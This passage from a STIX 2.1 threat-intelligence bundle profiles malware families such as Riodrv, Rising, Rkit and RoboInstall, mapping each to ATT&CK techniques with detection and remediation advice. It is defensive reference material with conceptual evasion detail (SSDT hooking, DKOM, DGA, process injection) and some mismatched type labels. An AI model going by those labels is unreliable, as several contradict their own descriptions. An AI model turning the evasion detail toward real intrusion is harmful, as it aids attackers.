integrity of the operating system. If the OS cannot be trusted to accurately report what files are on the disk, standard security tools are rendered ineffective.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Advanced Memory Forensics:</strong> Standard disk forensics will miss rootkit-hidden files. Responders must capture a live memory dump or utilize specialized rootkit unhooking tools to bypass the kernel modifications and identify the hidden drivers.</li>\n<li><strong>Complete System Wipe:</strong> Attempting to cleanly \"uninstall\" a kernel rootkit is highly unreliable and frequently results in a Blue Screen of Death (BSOD) or a corrupted OS. The only cryptographically secure remediation is a complete wipe and re-image of the compromised host from a known good baseline.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Rootkit.RioDrv",
        "Win32/Sony.Rootkit",
        "Rootkit.Win32.Agent"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Riodrv",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/riodrv"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--66a483bb-92f5-56d3-bf42-954e58570ef3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--68dc9993-0440-54b7-866f-0e2b2a9a82c8",
      "target_ref": "attack-pattern--5b21f3ea-47ac-581f-9305-2d2e0cbe9c22",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Riodrv exhibits technique T1014 (Rootkit (Hiding files and processes))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2de91fcb-7553-5ef5-9f2a-fccf5fc3661e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--68dc9993-0440-54b7-866f-0e2b2a9a82c8",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Riodrv exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a0c187b6-601e-56c4-9e4a-5ab424665423",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--68dc9993-0440-54b7-866f-0e2b2a9a82c8",
      "target_ref": "attack-pattern--811b0131-eca0-5e7e-a296-b88d7ece01bd",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Riodrv exhibits technique T1543.003 (Create or Modify System Process: Windows Service)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--e56d9940-8672-5755-a93c-68f3cd135141",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Rising",
      "description": "Trojan:Win32/Rising is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Rising</b><br>To an end-user, a Rising infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Rising is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Rising is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Rising frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Rising reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Rising",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/rising"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--58b6c207-1405-5b5e-b643-15c98bfa0ba7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e56d9940-8672-5755-a93c-68f3cd135141",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rising exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--963c267e-c653-58c4-ac7b-35dab2fb3790",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e56d9940-8672-5755-a93c-68f3cd135141",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rising exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0cdddf45-f48c-509f-a3e1-75641b5b33d5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e56d9940-8672-5755-a93c-68f3cd135141",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rising exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9b441d3b-4fed-50fd-a250-ae83a6531ba5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e56d9940-8672-5755-a93c-68f3cd135141",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rising exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c3ea8605-c373-5a37-9aac-0265414a7c52",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e56d9940-8672-5755-a93c-68f3cd135141",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rising exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--50bfc589-69ad-501a-adf0-6bdda9f14554",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Rkit",
      "description": "Rootkit:Win32/Rkit is a generic detection name used by Microsoft Defender to identify advanced, highly privileged malware known as **Rootkits**. Unlike a standard trojan that operates in User Mode (Ring 3), a true rootkit executes in Kernel Mode (Ring 0), granting it absolute authority over the Windows operating system. Its primary purpose is not necessarily payload delivery, but **total stealth**: subverting the OS itself to hide files, processes, registry keys, and network connections from standard antivirus software, EDR sensors, and even the system administrator.<br><br><b>Understanding Rkit (Rootkits)</b><br>To an end-user, a rootkit infection is completely invisible; the computer may function normally, or only slightly slower. For a security analyst, a rootkit represents the ultimate compromise. Because the rootkit lives at a lower level than the antivirus software, it can intercept the API calls the antivirus makes to scan the disk, feeding it 'clean' data while hiding the malicious files. Detecting a rootkit requires specialized tools that look for anomalies and unhooked APIs, or analyzing the system from an offline environment.<br><br><b>Execution and Stealth Mechanics</b><br>Rkit variants are deployed post-exploitation, requiring administrative or SYSTEM privileges to install (`T1543.003`). Once executed, they typically employ techniques like System Service Descriptor Table (SSDT) Hooking (`T1014`) or Direct Kernel Object Manipulation (DKOM). By hooking the SSDT, the rootkit intercepts fundamental system calls (like `NtQuerySystemInformation`, used by Task Manager to list processes). When the OS asks 'What processes are running?', the rootkit modifies the response to remove its own process ID before handing the list back to the OS. DKOM involves directly modifying the `EPROCESS` structures in memory to unlink a running process from the active process list, making it entirely invisible to standard tools (`T1564`). Rootkits also frequently hook the NDIS (Network Driver Interface Specification) layer to hide their outbound C2 communications (`T1562.001`).<br><br><b>Indicators of Compromise & Impact</b><br>The impact is total loss of system trust. Host-based IoCs are extremely difficult to spot from a live system. Indicators include discrepancies between different types of system API calls (e.g., cross-view analysis where tool A sees a file, but tool B does not), unsigned or suspicious `.sys` drivers loaded into memory, and EDR alerts regarding SSDT modifications or patching of `ntoskrnl.exe`. Network IoCs (beaconing traffic) may still be visible at the firewall, even if they are hidden on the host. (Observed samples in benchmark: 4)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Rkit",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/rkit"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fa919136-0fea-5f8e-b283-41fed138920d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--50bfc589-69ad-501a-adf0-6bdda9f14554",
      "target_ref": "attack-pattern--5b21f3ea-47ac-581f-9305-2d2e0cbe9c22",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rkit exhibits technique T1014 (Rootkit (Hooking kernel APIs and SSDT))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--51b68924-c5f9-523c-86fb-08524d2daf49",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--50bfc589-69ad-501a-adf0-6bdda9f14554",
      "target_ref": "attack-pattern--0ebf3f78-b94e-5a10-9fa5-4141377ac9f4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rkit exhibits technique T1564 (Hide Artifacts (DKOM to hide processes))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4cc39e77-bf3d-5078-b782-21237cbe1ae9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--50bfc589-69ad-501a-adf0-6bdda9f14554",
      "target_ref": "attack-pattern--811b0131-eca0-5e7e-a296-b88d7ece01bd",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rkit exhibits technique T1543.003 (Create or Modify System Process: Windows Service (Loading malicious drivers))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1328570b-00f9-5b04-b5e7-db0242fcefef",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--50bfc589-69ad-501a-adf0-6bdda9f14554",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rkit exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Subverting AV sensors))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--df9edd36-c526-57f9-b9a5-463e4ca2f66c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Rmkef9Zs0Zhi",
      "description": "Trojan:Win32/Rmkef9zs0zhi (or similar auto-generated strings) represents the antivirus industry's response to highly polymorphic malware or Domain Generation Algorithms (DGA). Instead of a named family, this string is a generic, randomized identifier assigned by an AV engine to a threat that is rapidly shifting its signature to evade detection (`T1027`). This indicates the presence of a sophisticated dropper or a botnet agent actively communicating with shifting C2 infrastructure.<br><br><b>Understanding Polymorphic/DGA Identifiers</b><br>To an end-user, the file is simply blocked. For a SOC analyst, a detection with a randomized name like 'Rmkef9zs0zhi' is a signal that static IOCs (like file hashes) will be nearly useless for hunting. The attacker is using automated tools to recompile the malware for every victim, or using DGA to contact thousands of different domains a day.<br><br><b>Execution and Polymorphic Mechanics</b><br>When executed, polymorphic threats unpack themselves dynamically in memory (`T1027.002`). They often inject their code into legitimate processes (like `svchost.exe`) (`T1055`) to hide their activity. If the threat utilizes DGA (`T1568.002`), it uses a mathematical algorithm to generate hundreds of potential C2 domain names. The malware attempts to connect to these domains until it finds one that the attacker has actually registered and activated for that day's operations, making IP/Domain blacklisting highly ineffective.<br><br><b>Indicators of Compromise & Impact</b><br>The impact depends entirely on the payload the polymorphic dropper intends to deliver (ransomware, infostealers, etc.). Host-based IoCs must focus on behavior: EDR alerts for process injection, anomalous child process spawning, or rapid creation/deletion of temporary files. Network IoCs are characterized by the malware generating a massive volume of DNS requests for non-existent, randomly generated domains (NXDOMAIN responses), mixed with a few successful connections. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Rmkef9Zs0Zhi",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/rmkef9zs0zhi"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--13254554-98c5-5726-9130-9d0267e1330e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--df9edd36-c526-57f9-b9a5-463e4ca2f66c",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rmkef9Zs0Zhi exhibits technique T1027 (Obfuscated Files or Information (Polymorphism used to evade static signatures))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0c058aa0-b735-51b3-b5d9-7da5ab7ca72d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--df9edd36-c526-57f9-b9a5-463e4ca2f66c",
      "target_ref": "attack-pattern--257d9e52-8dd5-53ad-99f1-1a8b77822be3",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rmkef9Zs0Zhi exhibits technique T1568.002 (Dynamic Resolution: Domain Generation Algorithms (DGA) (Evading C2 blacklisting))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cede02de-8174-5f77-bb71-950118117a51",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--df9edd36-c526-57f9-b9a5-463e4ca2f66c",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rmkef9Zs0Zhi exhibits technique T1055 (Process Injection (Hiding the unpacked, malicious code inside legitimate processes))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--dbbdee1e-c70d-5149-8366-35da639cb55f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Rmkefbclnjpi",
      "description": "Trojan:Win32/Rmkefbclnjpi (or similar auto-generated strings) represents the antivirus industry's response to highly polymorphic malware or Domain Generation Algorithms (DGA). Instead of a named family, this string is a generic, randomized identifier assigned by an AV engine to a threat that is rapidly shifting its signature to evade detection (`T1027`). This indicates the presence of a sophisticated dropper or a botnet agent actively communicating with shifting C2 infrastructure.<br><br><b>Understanding Polymorphic/DGA Identifiers</b><br>To an end-user, the file is simply blocked. For a SOC analyst, a detection with a randomized name like 'Rmkefbclnjpi' is a signal that static IOCs (like file hashes) will be nearly useless for hunting. The attacker is using automated tools to recompile the malware for every victim, or using DGA to contact thousands of different domains a day.<br><br><b>Execution and Polymorphic Mechanics</b><br>When executed, polymorphic threats unpack themselves dynamically in memory (`T1027.002`). They often inject their code into legitimate processes (like `svchost.exe`) (`T1055`) to hide their activity. If the threat utilizes DGA (`T1568.002`), it uses a mathematical algorithm to generate hundreds of potential C2 domain names. The malware attempts to connect to these domains until it finds one that the attacker has actually registered and activated for that day's operations, making IP/Domain blacklisting highly ineffective.<br><br><b>Indicators of Compromise & Impact</b><br>The impact depends entirely on the payload the polymorphic dropper intends to deliver (ransomware, infostealers, etc.). Host-based IoCs must focus on behavior: EDR alerts for process injection, anomalous child process spawning, or rapid creation/deletion of temporary files. Network IoCs are characterized by the malware generating a massive volume of DNS requests for non-existent, randomly generated domains (NXDOMAIN responses), mixed with a few successful connections. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Rmkefbclnjpi",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/rmkefbclnjpi"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bac6557e-c2a6-51e0-a17f-65e7299487c1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dbbdee1e-c70d-5149-8366-35da639cb55f",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rmkefbclnjpi exhibits technique T1027 (Obfuscated Files or Information (Polymorphism used to evade static signatures))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6e7a444e-15d7-5d59-8fb3-107df0ef00f4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dbbdee1e-c70d-5149-8366-35da639cb55f",
      "target_ref": "attack-pattern--257d9e52-8dd5-53ad-99f1-1a8b77822be3",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rmkefbclnjpi exhibits technique T1568.002 (Dynamic Resolution: Domain Generation Algorithms (DGA) (Evading C2 blacklisting))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b1d1848d-97ef-5631-8926-393c9868f466",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--dbbdee1e-c70d-5149-8366-35da639cb55f",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rmkefbclnjpi exhibits technique T1055 (Process Injection (Hiding the unpacked, malicious code inside legitimate processes))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--923ac01e-5ae9-5ce5-9f11-682161e218c9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Rmkefdlslaoi",
      "description": "<h3>Executive Summary</h3>\n\"Rmkefdlslaoi\" is a heuristic identifier for a highly obfuscated, generically detected Trojan or Dropper. The naming convention (which appears as random, machine-generated gibberish) strongly suggests that this malware was detected dynamically by an antivirus engine's generic heuristic analysis or machine-learning model, indicating a severe attempt by the malware to evade static signature detection.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nMalware utilizing these generic evasion techniques is typically distributed \"filelessly\" via drive-by downloads originating from compromised websites (exploit kits) or as a secondary payload dropped by an initial access broker.\n\nUpon execution, this class of malware prioritizes rapid evasion and payload execution:\n<ul>\n<li><strong>Heavy Obfuscation and Packing:</strong> The executable is heavily packed, encrypted, or virtualized. This prevents security researchers and standard antivirus engines from analyzing its true code until it is unpacked in memory.</li>\n<li><strong>Process Injection:</strong> Rather than executing directly, the malware frequently utilizes Process Hollowing or DLL Injection to insert its malicious code into a legitimate Windows process (e.g., `explorer.exe` or `svchost.exe`). This allows it to bypass application whitelisting and hide its activity from the Task Manager.</li>\n<li><strong>Secondary Payload Delivery:</strong> rmkefdlslaoi typically functions as a loader. Once persistence and stealth are achieved, it communicates with a C2 server to download the primary payload, which could be anything from a cryptominer to ransomware.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nDetection of highly obfuscated, generically named files in critical system directories (like `%AppData%` or `%Temp%`) is a severe indicator of compromise (IoC). It almost guarantees that an advanced threat actor has bypassed initial perimeter defenses and achieved code execution on the endpoint.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Behavioral Analysis (EDR):</strong> Static signature-based AV is largely ineffective against polymorphic threats. Eradication requires an Endpoint Detection and Response (EDR) solution capable of monitoring and terminating processes based on malicious behavior.</li>\n<li><strong>Network Isolation:</strong> Isolate the machine immediately to prevent the malware from phoning home to its C2 infrastructure or pivoting laterally across the network.</li>\n<li><strong>Complete Re-imaging:</strong> Due to the sophisticated evasion techniques employed, attempting to manually \"clean\" the system is highly risky. The most secure remediation is a complete bare-metal wipe and re-image from a trusted backup.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Generic.Rmkefdlslaoi",
        "Malware.Obfuscated",
        "Win32/Trojan.Heur"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Rmkefdlslaoi",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/rmkefdlslaoi"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--68da5c6b-851c-5af0-885f-8ad0044f382a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--923ac01e-5ae9-5ce5-9f11-682161e218c9",
      "target_ref": "attack-pattern--ebf98ceb-88d4-5269-a96f-9fce8af0ec35",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rmkefdlslaoi exhibits technique T1027.002 (Obfuscated Files or Information: Software Packing)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--22388182-cdbf-5ca3-b971-4ce6cceff823",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--923ac01e-5ae9-5ce5-9f11-682161e218c9",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rmkefdlslaoi exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--543c7340-82f2-56df-bb22-ad3d651188bc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--923ac01e-5ae9-5ce5-9f11-682161e218c9",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rmkefdlslaoi exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6a7880ab-5f6c-52f4-ac7f-d3a3792309f9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--923ac01e-5ae9-5ce5-9f11-682161e218c9",
      "target_ref": "attack-pattern--ec9111f9-546d-56c3-9df3-02f39623a470",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Rmkefdlslaoi exhibits technique T1106 (Native API)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--971657a1-0dc8-5fc5-a00f-79c5a7554164",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Roboinstall",
      "description": "<h3>Executive Summary</h3>\nRoboInstall is an aggressive software bundler and Potentially Unwanted Program (PUP) installer. It is designed to maximize affiliate revenue for software distributors by forcefully and deceptively installing multiple layers of adware, browser hijackers, and \"system optimizers\" alongside a primary, nominally free software application. Its defining characteristic is automating the installation of these unwanted payloads to bypass user scrutiny.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nUsers encounter RoboInstall when downloading \"freeware\" or pirated software from unofficial, third-party download portals. The user believes they are downloading a single application, but the executable is actually the RoboInstall wrapper.\n\nUpon execution, RoboInstall utilizes deceptive tactics to ensure maximum payload delivery:\n<ul>\n<li><strong>Deceptive UI and Dark Patterns:</strong> If the installer displays an interface, it utilizes \"Dark Patterns\"\u2014confusing language, pre-checked boxes hidden behind \"Advanced\" tabs, or misleading \"Accept\" buttons where clicking \"Accept\" actually agrees to install the bundled adware, not just the primary software.</li>\n<li><strong>Automated Scripting (Robotic Install):</strong> The wrapper often utilizes internal scripts (AutoIt or similar automation) to virtually \"click through\" the installation prompts of the bundled adware in the background, rendering the installation invisible to the user.</li>\n<li><strong>Aggressive Adware Deployment:</strong> The payloads installed typically include persistent browser extensions that hijack search queries, inject pop-up ads into legitimate websites, and track browsing history for monetization.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nRoboInstall wrappers cause significant disruption. They act as a gateway, transforming a single download into a multi-vector adware infection. This leads to immediate system slowdowns, browser instability, and severe privacy violations due to the aggressive telemetry collected by the installed hijackers.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Comprehensive Anti-Malware Scan:</strong> Standard antivirus often ignores PUPs. A dedicated enterprise anti-malware solution is required to scan the system and identify the various unwanted programs installed by the wrapper.</li>\n<li><strong>Manual Review and Uninstallation:</strong> IT staff must meticulously review the installed programs list, manually uninstalling the unwanted toolbars, fake optimizers, and \"shopping assistants.\"</li>\n<li><strong>Browser Factory Reset:</strong> Because the primary payloads of RoboInstall are browser hijackers, all installed web browsers must undergo a full factory reset to purge the malicious extensions and restore default, safe configurations.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware.RoboInstall",
        "PUP.RoboInstall",
        "Win32/Bundler"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Roboinstall",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/roboinstall"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2a924ca4-4542-53ba-8707-912a01e4df05",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--971657a1-0dc8-5fc5-a00f-79c5a7554164",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Roboinstall exhibits technique T1204.002 (User Execution: Malicious File (Relying on the user to execute the unique payload))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a2b40465-a73f-59c2-adc2-47bd69c394a8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--971657a1-0dc8-5fc5-a00f-79c5a7554164",
